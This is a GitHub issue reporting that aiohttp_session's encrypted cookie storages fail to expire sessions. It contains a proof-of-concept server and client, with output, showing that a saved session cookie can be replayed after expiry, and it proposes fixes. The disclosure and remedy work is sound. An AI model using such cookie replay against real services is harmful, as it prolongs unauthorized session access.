You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
SimpleCookieStorage (out of scope, it's inherently insecure)
NaClCookieStorage
appear to do improper Session Expiration.
A user that has obtained a legitimate session, can do a replay attack recreating his / her cookie
(with the same value as the original) thus defeating the purpose of cookie expiry.
This impacts security in the sense that it increases the attack window for session attacks practically
providing infinite lifespan tokens.
This falls under OWASP's OTG-SESS-007 (Test Session Timeout) test and more specifically under the
'ensuring that it is not possible to “reuse” the same session' clause.
PoC
Using a slight variation of demo/main.py:
importtimeimportbase64fromcryptographyimportfernetfromaiohttpimportwebfromaiohttp_sessionimportsetup, get_session, new_sessionfromaiohttp_session.cookie_storageimportEncryptedCookieStorageasyncdefhandler(request):
session=awaitget_session(request)
now=time.time()
created=session['created'] ifnotsession.newelseNonetext='Created: {}'.format(created)
text+='\nSuccessfully used: {}'.format(now)
ifcreatedisnotNoneand (time.time() -created) >10:
text+='\nWARNING! Session used more than max_age after creation!'returnweb.Response(text=text)
asyncdeflogin(request):
session=awaitnew_session(request)
session['created'] =time.time()
returnweb.HTTPOk()
defmake_app():
app=web.Application()
fernet_key=fernet.Fernet.generate_key()
secret_key=base64.urlsafe_b64decode(fernet_key)
setup(app, EncryptedCookieStorage(secret_key, max_age=10))
app.router.add_get('/', handler)
app.router.add_post('/', login)
returnappweb.run_app(make_app())
And a client that logs in, saves the value of the cookie and re-creates it after expiry:
importtimeimportaiohttpimportasyncioasyncdefexpiry_vuln():
jar=aiohttp.CookieJar(unsafe=True)
asyncwithaiohttp.ClientSession(cookie_jar=jar) assession:
resp=awaitsession.post('http://127.0.0.1:8080/')
val=resp.cookies['AIOHTTP_SESSION'].valueprint("{} cookies in Cookie Jar".format(len(session.cookie_jar)))
awaitasyncio.sleep(15)
# Make sure the cookie expiredprint("{} cookies in Cookie Jar".format(len(session.cookie_jar)))
jar=aiohttp.CookieJar(unsafe=True)
asyncwithaiohttp.ClientSession(cookies={'AIOHTTP_SESSION': val}, cookie_jar=jar) assession:
print("{} cookies in Cookie Jar".format(len(session.cookie_jar)))
resp=awaitsession.get('http://127.0.0.1:8080/')
body=awaitresp.text()
print(body)
asyncio.get_event_loop().run_until_complete(expiry_vuln())
Running both will result in the following output on the client:
1 cookies in Cookie Jar
0 cookies in Cookie Jar
1 cookies in Cookie Jar
Created: xyz
Successfully used: wxy
WARNING! Session used more than max_age after creation!
The above shows that the expired session was successfully used simply by re-creating the cookie.
Remedy
For fernet, documentation indicates that there is a ttl option to decrypt that should suffice. I am preparing a PR for this.
Unfortunately I couldn't find anything related for NaCl. My only though on this is to add the created
time in the message itself for NaCl and check it on load_session (maybe issue a warning if an expired
token was presented). I would like some feedback / thoughts on this.
The text was updated successfully, but these errors were encountered:
Thanks for the patch.
For NaCL the solution could be in using Session.created attribute when reading from a persistent storage (cookie, redis, whatever).
Storages that lack inherent data expiration
appear to do improper Session Expiration.
A user that has obtained a legitimate session, can do a replay attack recreating his / her cookie
(with the same value as the original) thus defeating the purpose of cookie expiry.
This impacts security in the sense that it increases the attack window for session attacks practically
providing infinite lifespan tokens.
This falls under OWASP's OTG-SESS-007 (Test Session Timeout) test and more specifically under the
'ensuring that it is not possible to “reuse” the same session' clause.
PoC
Using a slight variation of
demo/main.py
:And a client that logs in, saves the value of the cookie and re-creates it after expiry:
Running both will result in the following output on the client:
The above shows that the expired session was successfully used simply by re-creating the cookie.
Remedy
For fernet, documentation indicates that there is a ttl option to decrypt that should suffice. I am preparing a PR for this.
Unfortunately I couldn't find anything related for NaCl. My only though on this is to add the created
time in the message itself for NaCl and check it on load_session (maybe issue a warning if an expired
token was presented). I would like some feedback / thoughts on this.
The text was updated successfully, but these errors were encountered: